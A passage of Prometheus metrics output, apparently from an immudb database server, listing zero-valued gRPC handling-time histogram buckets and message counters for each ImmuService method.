0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\n# HELP grpc_server_msg_received_total Total number of RPC stream messages received on the server.\n# TYPE grpc_server_msg_received_total counter\ngrpc_server_msg_received_total{grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\"} 0\ngrpc_server_msg_received_total{grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_received_total{grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\n# HELP grpc_server_msg_sent_total Total number of gRPC stream messages sent by the server.\n# TYPE grpc_server_msg_sent_total counter\ngrpc_server_msg_sent_total{grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_msg_sent_total{grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 